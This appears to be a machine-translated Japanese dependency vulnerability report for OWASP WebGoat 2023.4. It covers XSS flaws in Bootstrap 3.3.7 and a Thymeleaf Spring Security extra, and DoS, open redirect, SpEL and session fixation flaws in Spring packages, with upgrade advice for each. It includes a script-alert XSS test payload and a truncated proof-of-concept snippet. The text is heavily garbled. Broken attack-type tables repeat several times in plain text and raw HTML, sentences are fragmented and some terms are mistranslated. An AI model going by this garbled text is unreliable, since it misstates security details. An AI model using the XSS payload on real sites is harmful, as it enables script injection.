ReflectedServer攻撃者は、脆弱なウェブサイトアプリケーションから悪意のあるリンクを外部に送り、ユーザーに悪意のあるリンクを配信します。クリックすると、悪意のあるコードが脆弱なWebサイトに送信され、その攻撃がユーザーのブラウザに反映されます。

DOM- クライアント攻撃者はユーザーのブラウザに悪意のあるページを表示させます。ページ自体のデータはクロスプラットフォームで動作します。

ベース サイト スクリプティング データ。

攻撃者は安全に見えるコードを挿入しますが、マークアップを解析する際にブラウザによって書き換えられ、変更されます。

たとえば、閉じられていない引用符のバランスを調整したり、引用符で囲まれていないパラメータに引用符を追加したりします。

#### 影響を受ける環境

次の環境は XSS 攻撃の影響を受けやすいです。

- ウェブサーバー
- アプリケーションサーバー
- Web アプリケーション環境

#### 予防方法

このセクションでは、特にコードを保護するために設計されたトップのベスト プラクティスについて説明します。

- HTTP リクエストに入力されたデータを反映する前にサニタイズし、検索時のクエリ パラメータの値など、ユーザーに何かをエコーする前にすべてのデータが検証、フィルタリング、またはエスケープされていることを確認します。
- ? /などの特殊文字を変換し、ユーザーにクライアント側スクリプト、< >およびスペースを、それぞれ HTML または URL でエンコードされた同等の値に変換します。
- を無効にするオプションを提供します。
- 無効なリクエストをリダイレクトします。
- 2 つの異なる IP アドレスからのログインを含む同時ログインを検出し、それらのセッションを無効にします。
- コンテンツ セキュリティ ポリシー (出典: Wikipedia) を使用して適用し、XSS 攻撃のために操作される可能性のある機能を無効にします。
- コード内で参照されているライブラリのドキュメントを読んで、埋め込み HTML を許可する要素を理解してください。

#### 修復

org.webjars:bootstrap をバージョン 3.4.0 以上にアップグレードします。

#### 参考文献

- [GetBootstrap ブログ](#)
- [GitHub の問題](#)
- [GitHub の PR](#)

[この脆弱性の詳細](#)

中程度の深刻度

## クロスサイトスクリプティング (XSS)

- パッケージ マネージャー: maven
- 脆弱なモジュール: org.webjars:bootstrap 導入元:
- org.owasp.webgoat:webgoat@2023.4 および org.webjars:bootstrap@3.3.7

#### 詳細なパス

- 導入元: org.owasp.webgoat:webgoat@2023.4 > org.webjars.bootstrap@3.3.7

#### 概要

[org.webjars:ポートストラップBootstrap](#) 用の WebJar です。

このパッケージの影響を受けるバージョンは、アフィックス構成ターゲット プロパティを介してクロスサイトスクリプティング (XSS) に対して脆弱です。

#### 詳細

クロスサイトスクリプティング (XSS) は、攻撃者が信頼できるウェブサイトに悪意のあるスクリプトを「挿入」することで発生するコードの脆弱性です。挿入されたスクリプトは、エンドユーザーが侵害されたウェブサイトにアクセスした際に、ブラウザによってダウンロードされ、実行されます。

これはウェブアプリケーションのコンテキストをエスケープすることで実現されます。ウェブアプリケーションは、そのデータを他の信頼できる動的コンテンツと共に、検証することなくユーザーに配信します。ブラウザは、通常はブラウザの同一生成元ポリシーによってロックされるアクションを実行するために、クライアント側で（クライアント側言語、通常はJavaScriptまたはHTMLを介して）悪意のあるスクリプトを無意識のうちに実行します。

悪意のあるコードの挿入は、XSS を悪用する最も一般的な方法です。このため、この操作を防ぐために文字をエスケープすることが、この脆弱性に対してコードを保護するための最善の方法です。

エスケープとは、アプリケーションがキー文字、特にユーザー入力に含まれるキー文字をマークするようにコーディングし、それらの文字が危険なコンテキストで解釈されるのを防ぐことを意味します。例えばHTMLでは、<は<、>は>；とコーディングすることで、テキスト内ではキー文字として解釈・表示されますが、コード内ではHTMLタグとして使用されます。特殊文字をエスケープするアプリケーションに悪意のあるコンテンツが挿入され、その悪意のあるコンテンツが<>をHTMLタグとして使用している場合、アプリケーションコード内で正しくエスケープされていれば、ブラウザはそれらの文字をHTMLタグとして解釈せず、攻撃を回避します。

XSS の最も顕著な用途は、Cookie を盗むこと（出典: OWASP HttpOnly）とユーザー セッションの乗っ取りですが、XSS エクスプロイトは機密情報を公開したり、特権サービスや機能へのアクセスを可能にしたり、マルウェアを配信したりするために使用されてきました。

#### 攻撃の種類

XSS を操作する方法はいくつかあります。

タイプ

起源の説明

悪意のあるコードは、攻撃者によってアプリケーションに（通常はリンクとして）挿入されます。このコードは、

ユーザーがリンクをクリックします。

ReflectedServer攻撃者は、脆弱なウェブサイトアプリケーションから悪意のあるリンクを外部に送り、ユーザーに悪意のあるリンクを配信します。クリックすると、

悪意のあるコードが脆弱なWebサイトに送信され、その攻撃がユーザーのブラウザに反映されます。

	タイプ	起源の説明
DOM-	クライアント攻撃者はユーザーのブラウザに悪意のあるページを表示させます。ページ自体のデータはクロスプラットフォームで動作します。	
ベース	サイト スクリプティング データ。	
攻撃者は安全に見えるコードを挿入しますが、マークアップを解析する際にブラウザによって書き換えられ、変更されます。		
たとえば、閉じられていない引用符のバランスを調整したり、引用符で囲まれていないパラメータに引用符を追加したりします。		
<b>影響を受ける環境</b>		
次の環境は XSS 攻撃の影響を受けやすいです。		
<ul style="list-style-type: none"><li>ウェブサーバー</li><li>アプリケーションサーバー</li><li>Web アプリケーション環境</li></ul>		
<b>予防方法</b>		
このセクションでは、特にコードを保護するために設計されたトップのベスト プラクティスについて説明します。		
<ul style="list-style-type: none"><li>HTTP リクエストに入力されたデータを反映する前にサニタイズし、検索時のクエリ パラメータの値など、ユーザーに何かをエコーする前にすべてのデータが検証、フィルタリング、またはエスケープされていることを確認します。</li><li>? /などの特殊文字を変換し、ユーザーにクライアント側スクリプト、&lt; . &gt;およびスペースを、それぞれ HTML または URL でエンコードされた同等の値に変換します。</li><li>を無効にするオプションを提供します。</li><li>無効なリクエストをリダイレクトします。</li><li>2つの異なる IP アドレスからのログインを含む同時ログインを検出し、それらのセッションを無効にします。</li><li>コンテンツ セキュリティ ポリシー (出典: Wikipedia) を使用して適用し、XSS 攻撃のために操作される可能性のある機能を無効にします。</li><li>コード内で参照されているライブラリのドキュメントを読んで、埋め込み HTML を許可する要素を理解してください。</li></ul>		
<b>修復</b>		
org.webjars:bootstrap をバージョン 3.4.0 以上にアップグレードします。		
<b>参考文献</b>		
<ul style="list-style-type: none"><li><a href="#">GetBootstrap ブログ</a></li><li><a href="#">GitHub コミット</a></li><li><a href="#">GitHub の PR</a></li><li><a href="#">POC: GitHub の問題</a></li></ul>		
<a href="#">この脆弱性の詳細</a>		

中程度の深刻度																					
<b>クロスサイトスクリプティング (XSS)</b>																					
<ul style="list-style-type: none"><li>パッケージ マネージャー: maven</li><li>脆弱なモジュール: org.webjars:bootstrap 導入元:</li><li>org.owasp.webgoat:webgoat@2023.4 および org.webjars:bootstrap@3.3.7</li></ul>																					
<b>詳細なパス</b>																					
<ul style="list-style-type: none"><li>導入元: org.owasp.webgoat:webgoat@2023.4 &gt; org.webjars:bootstrap@3.3.7</li></ul>																					
<b>概要</b>																					
<a href="#">org.webjars:ポートストラップBootstrap 用の WebJar</a> です。																					
このパッケージの影響を受けるバージョンは、data-target 属性を介してクロスサイトスクリプティング (XSS) に対して脆弱です。																					
<b>詳細</b>																					
クロスサイトスクリプティング (XSS) は、攻撃者が信頼できるウェブサイトに悪意のあるスクリプトを「挿入」することで発生するコードの脆弱性です。挿入されたスクリプトは、エンドユーザーが侵害されたウェブサイトにアクセスした際に、ブラウザによってダウンロードされ、実行されます。																					
これはウェブアプリケーションのコンテキストをエスケープすることで実現されます。ウェブアプリケーションは、そのデータを他の信頼できる動的コンテンツと共に、検証することなくユーザーに配信します。ブラウザは、通常はブラウザの同一生成元ポリシーによってプロックされるアクションを実行するために、クライアント側で（クライアント側言語、通常は JavaScript または HTML を介して）悪意のあるスクリプトを無意識のうちに実行します。																					
悪意のあるコードの挿入は、XSS を悪用する最も一般的な方法です。このため、この操作を防ぐために文字をエスケープすることが、この脆弱性に対してコードを保護するための最善の方法です。																					
エスケープとは、アプリケーションがキー文字、特にユーザー入力に含まれるキー文字をマークするようにコーディングし、それらの文字が危険なコンテキストで解釈されるのを防ぐことを意味します。例えば HTML では、< は &lt; 、> は &gt; とコーディングすることで、テキスト内ではキー文字として解釈・表示されますが、コード内では HTML タグとして使用されます。特殊文字をエスケープするアプリケーションに悪意のあるコンテンツが挿入され、その悪意のあるコンテンツが<> を HTML タグとして使用している場合、アプリケーションコード内で正しくエスケープされていれば、ブラウザはそれらの文字を HTML タグとして解釈せず、攻撃を回避します。																					
XSS の最も顕著な用途は、Cookie を盗むこと（出典: OWASP HttpOnly）とユーザー セッションの乗っ取りですが、XSS エクスプロイトは機密情報を公開したり、特権サービスや機能へのアクセスを可能にしたり、マルウェアを配信したりするために使用されました。																					
<b>攻撃の種類</b>																					
XSS を操作する方法はいくつかあります。																					
<table border="1"><thead><tr><th></th><th>タイプ</th><th>起源の説明</th></tr></thead><tbody><tr><td>恶意のあるコードは、攻撃者によってアプリケーションに（通常はリンクとして）挿入されます。このコードは、</td><td></td><td></td></tr><tr><td>ユーザーがリンクをクリックします。</td><td></td><td></td></tr><tr><td>ReflectedServer攻撃者は、脆弱なウェブサイトアプリケーションから悪意のあるリンクを外部に送り、ユーザーに悪意のあるリンクを配信します。クリックすると、</td><td></td><td></td></tr><tr><td>悪意のあるコードが脆弱な Web サイトに送信され、その攻撃がユーザーのブラウザに反映されます。</td><td></td><td></td></tr><tr><td>DOM-</td><td>クライアント攻撃者はユーザーのブラウザに悪意のあるページを表示させます。ページ自体のデータはクロスプラットフォームで動作します。</td><td></td></tr><tr><td>ベース</td><td>サイト スクリプティング データ。</td><td></td></tr></tbody></table>		タイプ	起源の説明	恶意のあるコードは、攻撃者によってアプリケーションに（通常はリンクとして）挿入されます。このコードは、			ユーザーがリンクをクリックします。			ReflectedServer攻撃者は、脆弱なウェブサイトアプリケーションから悪意のあるリンクを外部に送り、ユーザーに悪意のあるリンクを配信します。クリックすると、			悪意のあるコードが脆弱な Web サイトに送信され、その攻撃がユーザーのブラウザに反映されます。			DOM-	クライアント攻撃者はユーザーのブラウザに悪意のあるページを表示させます。ページ自体のデータはクロスプラットフォームで動作します。		ベース	サイト スクリプティング データ。	
	タイプ	起源の説明																			
恶意のあるコードは、攻撃者によってアプリケーションに（通常はリンクとして）挿入されます。このコードは、																					
ユーザーがリンクをクリックします。																					
ReflectedServer攻撃者は、脆弱なウェブサイトアプリケーションから悪意のあるリンクを外部に送り、ユーザーに悪意のあるリンクを配信します。クリックすると、																					
悪意のあるコードが脆弱な Web サイトに送信され、その攻撃がユーザーのブラウザに反映されます。																					
DOM-	クライアント攻撃者はユーザーのブラウザに悪意のあるページを表示させます。ページ自体のデータはクロスプラットフォームで動作します。																				
ベース	サイト スクリプティング データ。																				
	タイプ	起源の説明																			
恶意のあるコードは、攻撃者によってアプリケーションに（通常はリンクとして）挿入されます。このコードは、																					
ユーザーがリンクをクリックします。																					
ReflectedServer攻撃者は、脆弱なウェブサイトアプリケーションから悪意のあるリンクを外部に送り、ユーザーに悪意のあるリンクを配信します。クリックすると、																					
悪意のあるコードが脆弱な Web サイトに送信され、その攻撃がユーザーのブラウザに反映されます。																					
DOM-	クライアント攻撃者はユーザーのブラウザに悪意のあるページを表示させます。ページ自体のデータはクロスプラットフォームで動作します。																				
ベース	サイト スクリプティング データ。																				

## 型変更

## 起源の説明

攻撃者は安全に見えるコードを挿入しますが、マークアップを解析する際にブラウザによって書き換えられ、変更されます。たとえば、閉じられていない引用符のバランスを調整したり、引用符で囲まれていないパラメータに引用符を追加したりします。

## 影響を受ける環境

次の環境は XSS 攻撃の影響を受けやすいです。

- ウェブサーバー
- アプリケーションサーバー
- Web アプリケーション環境

## 予防方法

このセクションでは、特にコードを保護するために設計されたトップのベスト プラクティスについて説明します。

- HTTP リクエストに入力されたデータを反映する前にサニタイズし、検索時のクエリ パラメータの値など、ユーザーに何かをエコーする前にすべてのデータが検証、フィルタリング、またはエスケープされていることを確認します。
- ? /などの特殊文字を変換し、ユーザーにクライアント側スクリプトを < > およびスペースを、それぞれ HTML または URL でエンコードされた同等の値に変換します。
- 無効にするオプションを提供します。
- 無効なリクエストをリダイレクトします。
- 2 つの異なる IP アドレスからのログインを含む同時ログインを検出し、それらのセッションを無効にします。
- コンテンツ セキュリティ ポリシー (出典: Wikipedia) を使用して適用し、XSS 攻撃のために操作される可能性のある機能を無効にします。
- コード内で参照されているライブラリのドキュメントを読んで、埋め込み HTML を許可する要素を理解してください。

## 修復

org.webjars:bootstrap をバージョン 3.4.0、4.0.0-beta.2 以上にアップグレードします。

## 参考文献

- [Bootstrap ブログ](#)
- [GitHub コミット](#)
- [GitHub コミット](#)
- [GitHub の問題](#)
- [GitHub の PR](#)
- [GitHub の PR](#)

[この脆弱性の詳細](#)

中程度の深刻度

## クロスサイトスクリプティング

- パッケージ マネージャー: maven
- 脆弱なモジュール: org.webjars:bootstrap 導入元:
- org.owasp.webgoat:webgoat@2023.4 および org.webjars:bootstrap@3.3.7

## 詳細なパス

- 導入元: org.owasp.webgoat:webgoat@2023.4 › org.webjars:bootstrap@3.3.7

## 概要

[org.webjars:ポートストラップ Bootstrap 用の WebJar](#) です。

このパッケージの影響を受けるバージョンは、ボタンコンポーネントの data-loading-text 属性を介したクロスサイトスクリプティングの脆弱性を有しています。攻撃者は、この属性に悪意のあるスクリプトを挿入することで、任意の JavaScript コードを実行できます。

注記：

この脆弱性は現在調査中であり、詳細が追加されて更新される可能性があります。

## 概念実証

```
<input  
    id="firstName"  
    type="text"  
    value="
```

クロスサイトスクリプティング (XSS) は、攻撃者が信頼できるウェブサイトに悪意のあるスクリプトを「挿入」することで発生するコードの脆弱性です。挿入されたスクリプトは、エンドユーザーが侵害されたウェブサイトにアクセスした際に、ブラウザによってダウンロードされ、実行されます。

これはウェブアプリケーションのコンテキストをエスケープすることで実現されます。ウェブアプリケーションは、そのデータを他の信頼できる動的コンテンツと共に、検証することなくユーザーに配信します。ブラウザは、通常はブラウザの同一生成元ポリシーによってブロックされるアクションを実行するために、クライアント側で（クライアント側言語、通常はJavaScriptまたはHTMLを介して）悪意のあるスクリプトを無意識のうちに実行します。

悪意のあるコードの挿入は、XSS を悪用する最も一般的な方法です。このため、この操作を防ぐために文字をエスケープすることが、この脆弱性に対してコードを保護するための最善の方法です。

エスケープとは、アプリケーションがキー文字、特にユーザー入力に含まれるキー文字をマークするようにコーディングし、それらの文字が危険なコンテキストで解釈されるのを防ぐことを意味します。例えばHTMLでは、<は<&lt;、>は&gt;；とコーディングすることで、テキスト内ではキー文字として解釈・表示されますが、コード内ではHTMLタグとして使用されます。特殊文字をエスケープするアプリケーションに悪意のあるコンテンツが挿入され、その悪意のあるコンテンツが<> をHTMLタグとして使用している場合、アプリケーションコード内で正しくエスケープされていれば、ブラウザはそれらの文字をHTMLタグとして解釈せず、攻撃を回避します。

XSS の最も顕著な用途は、Cookie を盗むこと（出典：OWASP HttpOnly）とユーザー セッションの乗っ取りですが、XSS エクスプロイトは機密情報を公開したり、特権サービスや機能へのアクセスを可能にしたり、マルウェアを配信したりするために使用されてきました。

## 攻撃の種類

XSS を操作する方法はいくつかあります。

	タイ	起源の説明
リフレクティッドサーバー	StoredServer	攻撃者によって悪意のあるコードがアプリケーションに（通常はリンクとして）挿入されます。このコードは、ユーザーがリンクをクリックするたびに実行されます。
DOM-	クライアント	攻撃者は、脆弱なウェブサイトアプリケーションから悪意のあるリンクを外部に送り、ユーザーに悪意のあるリンクを配信します。クリックすると、悪意のあるコードが脆弱な Web サイトに送信され、その攻撃がユーザーのブラウザに反映されます。
ベース	サイト	スクリプティング データ
		攻撃者は、安全に見えるコードを挿入しますが、マークアップを解析する際にブラウザによって書き換えられ、変更されます。たとえば、閉じられていない引用符のバランスを調整したり、引用符で囲まれていないパラメータに引用符を追加したりします。

## 影響を受ける環境

次の環境は XSS 攻撃の影響を受けやすいです。

- ウェブサーバー
- アプリケーションサーバー
- Web アプリケーション環境

## 予防方法

このセクションでは、特にコードを保護するために設計されたトップのベスト プラクティスについて説明します。

- HTTP リクエストに入力されたデータを反映する前にサニタイズし、検索時のクエリ パラメータの値など、ユーザーに何かをエコーする前にすべてのデータが検証、フィルタリング、またはエスケープされていることを確認します。
- ?などの特殊文字を変換します。、&、/、<、>およびスペースを、それぞれ HTML または URL でエンコードされた同等の値に変換します。
- ユーザーにクライアント側スクリプトを無効にするオプションを提供します。
- 無効なリクエストをリダイレクトします。
- 2つの異なる IP アドレスからのログインを含む同時ログインを検出し、それらのセッションを無効にします。
- コンテンツ セキュリティ ポリシー（出典：Wikipedia）を使用して適用し、XSS 攻撃のために操作される可能性のある機能を無効にします。
- コード内で参照されているライブラリのドキュメントを読んで、埋め込み HTML を許可する要素を理解してください。

## 修復

org.webjars:bootstrap をバージョン 4.0.0 以上にアップグレードします。

## 参考文献

- [影響を受けるコンポーネント](#)
- [概念実証](#)
- [セキュリティアドバイザリ](#)

[この脆弱性の詳細](#)

中程度の深刻度

## クロスサイトスクリプティング (XSS)

- パッケージ マネージャー: maven
- 脆弱なモジュール: org.thymeleaf.extras:thymeleaf-extras-springsecurity5 導入元:
- org.owasp.webgoat:webgoat@2023.4 および org.thymeleaf.extras:thymeleaf-extras-springsecurity5@3.0.4.RELEASE

## 詳細なパス

- 導入元: org.owasp.webgoat:webgoat@2023.4 > org.thymeleaf.extras:thymeleaf-extras-springsecurity5@3.0.4.RELEASE

## 概要

org.thymeleaf.extras:thymeleaf-extras-springsecurity5 は、Web 環境とスタンドアロン環境の両方にに対応した最新のサーバー側 Java テンプレート エンジンです。

このパッケージの影響を受けるバージョンは、ユーザー名<script type="text/javascript">alert("");</script>でユーザーを作成するときに、クロスサイト スクリプティング (XSS) に対して脆弱です。

## 詳細

クロスサイトスクリプティング (XSS) は、攻撃者が信頼できるウェブサイトに悪意のあるスクリプトを「挿入」することで発生するコードの脆弱性です。挿入されたスクリプトは、エンドユーザーが侵害されたウェブサイトにアクセスした際に、ブラウザによってダウンロードされ、実行されます。

これはウェブアプリケーションのコンテキストをエスケープすることで実現されます。ウェブアプリケーションは、そのデータを他の信頼できる動的コンテンツと共に、検証することなくユーザーに配信します。ブラウザは、通常はブラウザの同一生成元ポリシーによってブロックされるアクションを実行するために、クライアント側で（クライアント側言語、通常はJavaScriptまたはHTMLを介して）悪意のあるスクリプトを無意識のうちに実行します。

悪意のあるコードの挿入は、XSS を悪用する最も一般的な方法です。このため、この操作を防ぐために文字をエスケープすることが、この脆弱性に対してコードを保護するための最善の方法です。

エスケープとは、アプリケーションがキー文字、特にユーザー入力に含まれるキー文字をマークするようにコーディングし、それらの文字が危険なコンテキストで解釈されるのを防ぐことを意味します。例えばHTMLでは、<は<&lt;、>は&gt;；とコーディングすることで、テキスト内ではキー文字として解釈・表示されますが、コード内ではHTMLタグとして使用されます。特殊文字をエスケープするアプリケーションに悪意のあるコンテンツが挿入され、その悪意のあるコンテンツが<> をHTMLタグとして使用している場合、アプリケーションコード内で正しくエスケープされていれば、ブラウザはそれらの文字をHTMLタグとして解釈せず、攻撃を回避します。

XSS の最も顕著な用途は、Cookie を盗むこと（出典：OWASP HttpOnly）とユーザー セッションの乗っ取りですが、XSS エクスプロイトは機密情報を公開したり、特権サービスや機能へのアクセスを可能にしたり、マルウェアを配信したりするために使用されてきました。

## 攻撃の種類

XSS を操作する方法はいくつかあります。

タイ	起源の説明
ブ： StoredServer 攻撃者によって悪意のあるコードがアプリケーションに（通常はリンクとして）挿入されます。このコードは、ユーザーがリンクをクリックするたびに実行されます。	
ReflectedServer 攻撃者は、脆弱なウェブサイトアプリケーションから悪意のあるリンクを外部に送り、ユーザーに悪意のあるリンクを配信します。クリックすると、悪意のあるコードが脆弱な Web サイトに送信され、その攻撃がユーザーのブラウザに反映されます。	
DOM-ベース	クライアント攻撃者はユーザーのブラウザに悪意のあるページを表示させます。ページ自体のデータはクロスプラットフォームで動作します。
DOM-ベース	サイト スクリプティング データ。
ベース	攻撃者は安全に見えるコードを挿入しますが、マークアップを解析する際にブラウザによって書き換えられ、変更されます。
ベース	たとえば、閉じられていない引用符のバランスを調整したり、引用符で囲まれていないパラメータに引用符を追加したりします。

## 影響を受ける環境

次の環境は XSS 攻撃の影響を受けやすいです。

- ウェブサーバー
- アプリケーションサーバー
- Web アプリケーション環境

## 予防方法

このセクションでは、特にコードを保護するために設計されたトップのベスト プラクティスについて説明します。

- HTTP リクエストに入力されたデータを反映する前にサニタイズし、検索時のクエリ パラメータの値など、ユーザーに何かをエコーする前にすべてのデータが検証、フィルタリング、またはエスケープされていることを確認します。
- ?などの特殊文字を変換します。 &、/、<、>およびスペースを、それぞれ HTML または URL でエンコードされた同等の値に変換します。
- ユーザーにクライアント側スクリプトを無効にするオプションを提供します。
- 無効なリクエストをリダイレクトします。
- 2つの異なる IP アドレスからのログインを含む同時ログインを検出し、それらのセッションを無効にします。
- コンテンツ セキュリティ ポリシー（出典：Wikipedia）を使用して適用し、XSS 攻撃のために操作される可能性のある機能を無効にします。
- コード内で参照されているライブラリのドキュメントを読んで、埋め込み HTML を許可する要素を理解してください。

## 修復

org.thymeleaf.extras:thymeleaf-extras-springsecurity5をバージョン 3.1.0.M1 以上にアップグレードします。

## 参考文献

- [GitHubコミット](#)
- [GitHubの問題](#)
- [GitHub の PR](#)

[この脆弱性の詳細](#)

中程度の深刻度

## サービス拒否 (DoS)

- パッケージ マネージャー: maven
- 脆弱なモジュール: org.springframework:spring-webmvc 導入元:
- org.owasp.webgoat:webgoat@2023.4、org.springframework.boot:spring-boot-starter-web@2.7.1 など

### 詳細なパス

- 導入元: org.owasp.webgoat:webgoat@2023.4、org.springframework.boot:spring-boot-starter-web@2.7.1、org.springframework:spring-webmvc@5.3.21

## 概要

[org.springframework:spring-webmvc](#) 柔軟で疎結合な Web アプリケーションの開発に使用できるモデル - ビュー - コントローラ (MVC) アーキテクチャとすぐに使用できるコンポーネントを提供するパッケージです。

このパッケージの影響を受けるバージョンは、MVC コントローラーの @RequestBody byte[] メソッド パラメーターを介したサービス拒否 (DoS) に対して脆弱です。

注意: この脆弱なオープン ソース バージョンはサポートされなくなり、修正バージョン 5.3.42 は商用リリースでのみ利用可能になりました。

## 詳細

サービス拒否 (DoS) とは、対象となる正当なユーザーがシステムにアクセスできないようにすることを目的とした一連の攻撃を指します。

他の脆弱性とは異なり、DoS 攻撃は通常、セキュリティ侵害を目的としたものではありません。むしろ、正規のユーザーがウェブサイトやサービスを利用できないように、ダウンタイムを引き起こすことに重点を置いています。

よくあるサービス拒否の脆弱性の 1 つに DDoS (分散型サービス拒否) があります。これは、多数のマシンから大量のトラフィックを生成してシステムへのネットワーク パイプを詰ませようとする攻撃です。

オープンソース ライブラリの場合、DoS 脆弱性により、攻撃者はアプリケーション コードまたはオープンソース ライブラリの使用上の欠陥を利用して、サービスのクラッシュや機能停止を引き起こすことができます。

DoS 脆弱性の一般的な 2 つのタイプ:

- CPU/メモリ消費量の増大 - 攻撃者は、システムの処理に過度な時間を要する可能性のある細工されたリクエストを送信します。例: [commons-fileupload:commons-fileupload](#)。
- クラッシュ - 攻撃者が細工したリクエストを送信し、システムをクラッシュさせる。例えば、[npm wsパッケージ](#)

## 修復

org.springframework:spring-webmvc をバージョン 6.0.0 以上にアップグレードします。

## 参考文献

- [セキュリティアドバイザリ](#)

[この脆弱性の詳細](#)

中程度の深刻度

## オープンリダイレクト

- パッケージ マネージャー: maven
- 脆弱なモジュール: org.springframework:spring-web 導入元:
- org.owasp.webgoat:webgoat@2023.4,org.springframework.boot:spring-boot-starter-web@2.7.1 など

## 詳細なパス

- 導入元: org.owasp.webgoat:webgoat@2023.4 › org.springframework.boot:spring-boot-starter-web@2.7.1 › org.springframework:spring-web@5.3.21

## 概要

[org.springframework:spring-web](#) あらゆる種類のデプロイメント プラットフォーム上で、最新の Java ベースのエンタープライズ アプリケーションに包括的なプログラミングおよび構成モデルを提供するパッケージです。

このパッケージの影響を受けるバージョンは、UriComponentsBuilderを使用して外部から提供された URL を解析し、解析された URL のホストで検証チェックを実行する場合に、オープン リダイレクトに対して脆弱です。

注: これは [CVE-2024-22259](#) と同じです および [CVE-2024-22243](#) 、ただし、入力が異なります。

## 修復

org.springframework:spring-web をバージョン 5.3.34, 6.0.19, 6.1.6 以上にアップグレードします。

## 参考文献

- [概念実証](#)
- [春の注意報](#)

[この脆弱性の詳細](#)

中程度の深刻度

## サービス拒否 (DoS)

- パッケージ マネージャー: maven
- 脆弱なモジュール: org.springframework:spring-web 導入元:
- org.owasp.webgoat:webgoat@2023.4,org.springframework.boot:spring-boot-starter-web@2.7.1 など

## 詳細なパス

- 導入元: org.owasp.webgoat:webgoat@2023.4 › org.springframework.boot:spring-boot-starter-web@2.7.1 › org.springframework:spring-web@5.3.21

## 概要

[org.springframework:spring-web](#) あらゆる種類のデプロイメント プラットフォーム上で、最新の Java ベースのエンタープライズ アプリケーションに包括的なプログラミングおよび構成モデルを提供するパッケージです。

このパッケージの影響を受けるバージョンは、If-Match または If-None-Match リクエストヘッダーから ETag を解析する際に、ETag ブレフィックスの検証が不適切となるという形でサービス拒否 (DoS) の脆弱性があります。

攻撃者はこの脆弱性を悪用し、惡意のあるコードを送信することでサービス拒否を引き起こす可能性があります。

条件付き HTTP リクエスト。

## 回避策

古いサポートされていないバージョンのユーザーは、たとえば Filter を通じて、If-Match および If-None-Match ヘッダーにサイズ制限を強制することができます。

## 詳細

サービス拒否 (DoS) とは、対象となる正当なユーザーがシステムにアクセスできないようにすることを目的とした一連の攻撃を指します。

他の脆弱性とは異なり、DoS攻撃は通常、セキュリティ侵害を目的としたものではありません。むしろ、正規のユーザーがウェブサイトやサービスを利用できないようにし、ダウンタイムを引き起こすことに重点を置いています。

よくあるサービス拒否の脆弱性の1つにDDoS(分散型サービス拒否)があります。これは、多数のマシンから大量のトラフィックを生成してシステムへのネットワークパイプを詰ませようとする攻撃です。

オープンソースライブラリの場合、DoS脆弱性により、攻撃者はアプリケーションコードまたはオープンソースライブラリの使用上の欠陥を利用して、サービスのクラッシュや機能停止を引き起こすことができます。

DoS脆弱性の一般的な2つのタイプ:

- CPU/メモリ消費量の増大 - 攻撃者は、システムの処理に過度な時間を要する可能性のある細工されたリクエストを送信します。例: commons-fileupload:commons-fileupload。
- クラッシュ - 攻撃者が細工したリクエストを送信し、システムをクラッシュさせる。例えば、npm wsパッケージ

## 修復

org.springframework:spring-webをバージョン5.3.38、6.0.23、6.1.12以上にアップグレードします。

## 参考文献

- [GitHubコミット](#)
- [GitHubコミット](#)
- [GitHubの問題](#)
- [GitHubのPR](#)
- [GitHubのPR](#)
- [春のセキュリティアドバイザリ](#)

[この脆弱性の詳細](#)

中程度の深刻度

## 制限やスロットルのないリソースの割り当て

- パッケージマネージャー: maven
- 脆弱なモジュール: org.springframework:spring-expression導入元:
- org.owasp.webgoat:webgoat@2023.4、org.springframework.boot:spring-boot-starter-web@2.7.1など

## 詳細なパス

- 導入元: org.owasp.webgoat:webgoat@2023.4、org.springframework.boot:spring-boot-starter-web@2.7.1、org.springframework:spring-webmvc@5.3.21、org.springframework:spring-expression@5.3.21

## 概要

このパッケージの影響を受けるバージョンは、細工されたSpEL式による制限なしのリソース割り当てまたはスロットルに対して脆弱です。

## 修復

org.springframework:spring-expressionをバージョン5.2.23.RELEASE、5.3.26、6.0.7以上にアップグレードします。

## 参考文献

- [GitHubコミット](#)
- [GitHubコミット](#)
- [GitHubコミット](#)
- [脆弱性に関するアドバイス](#)

[この脆弱性の詳細](#)

中程度の深刻度

## 制限やスロットルのないリソースの割り当て

- パッケージマネージャー: maven
- 脆弱なモジュール: org.springframework:spring-expression導入元:
- org.owasp.webgoat:webgoat@2023.4、org.springframework.boot:spring-boot-starter-web@2.7.1など

## 詳細なパス

- 導入元: org.owasp.webgoat:webgoat@2023.4、org.springframework.boot:spring-boot-starter-web@2.7.1、org.springframework:spring-webmvc@5.3.21、org.springframework:spring-expression@5.3.21

## 概要

このパッケージの影響を受けるバージョンは、ユーザーが非常に長いSpEL式を指定した場合、制限のないリソースの割り当てやスロットルに対して脆弱です。

## 修復

org.springframework:spring-expressionをバージョン5.2.24.RELEASE、5.3.27、6.0.8以上にアップグレードします。

## 参考文献

- [GitHubコミット](#)
- [GitHubコミット](#)
- [GitHubコミット](#)
- [脆弱性に関するアドバイス](#)

[この脆弱性の詳細](#)

中程度の深刻度

## 制限やスロットルのないリソースの割り当て

- パッケージ マネージャー: maven
- 脆弱なモジュール: org.springframework:spring-expression 導入元:  
org.owasp.webgoat:webgoat@2023.4,org.springframework.boot:spring-boot-starter-web@2.7.1 など

### 詳細なパス

- 導入元: org.owasp.webgoat:webgoat@2023.4,org.springframework.boot:spring-boot-starter-web@2.7.1,org.springframework:spring-webmvc@5.3.21,  
org.springframework:spring-expression@5.3.21

### 概要

このパッケージの影響を受けるバージョンは、リソースの無制限割り当てまたはスロットリングの脆弱性があります。注:以下の条件に該当する場合、アプリケーションは脆弱です。

アプリケーションは、ユーザー指定の SpEL 式を評価します。

### 回避策

ユーザーが指定したSpEL式の評価は可能な限り避けるべきである。そうでない場合は、ユーザーが指定したSpEL式は SimpleEvaluationContext は読み取り専用モードです。これ以外の手順は必要ありません。

### 修復

org.springframework:spring-expression をバージョン 5.3.39 以上にアップグレードします。

### 参考文献

- [GitHubコミット](#)
- [GitHubコミット](#)
- [春のセキュリティアドバイザリ](#)

[この脆弱性の詳細](#)

中程度の深刻度

## セッション固定

- パッケージ マネージャー: maven
- 脆弱なモジュール: org.springframework.security:spring-security-web 導入元:  
org.owasp.webgoat:webgoat@2023.4,org.springframework.boot:spring-boot-starter-security@2.7.1 など

### 詳細なパス

- 導入元: org.owasp.webgoat:webgoat@2023.4,org.springframework.boot:spring-boot-starter-security@2.7.1,org.springframework.security:spring-security-web@5.7.2

### 概要

[org.springframework.security:spring-security-web](#) は、Spring IO プラットフォームにセキュリティ サービスを提供する Spring Security 内のパッケージです。

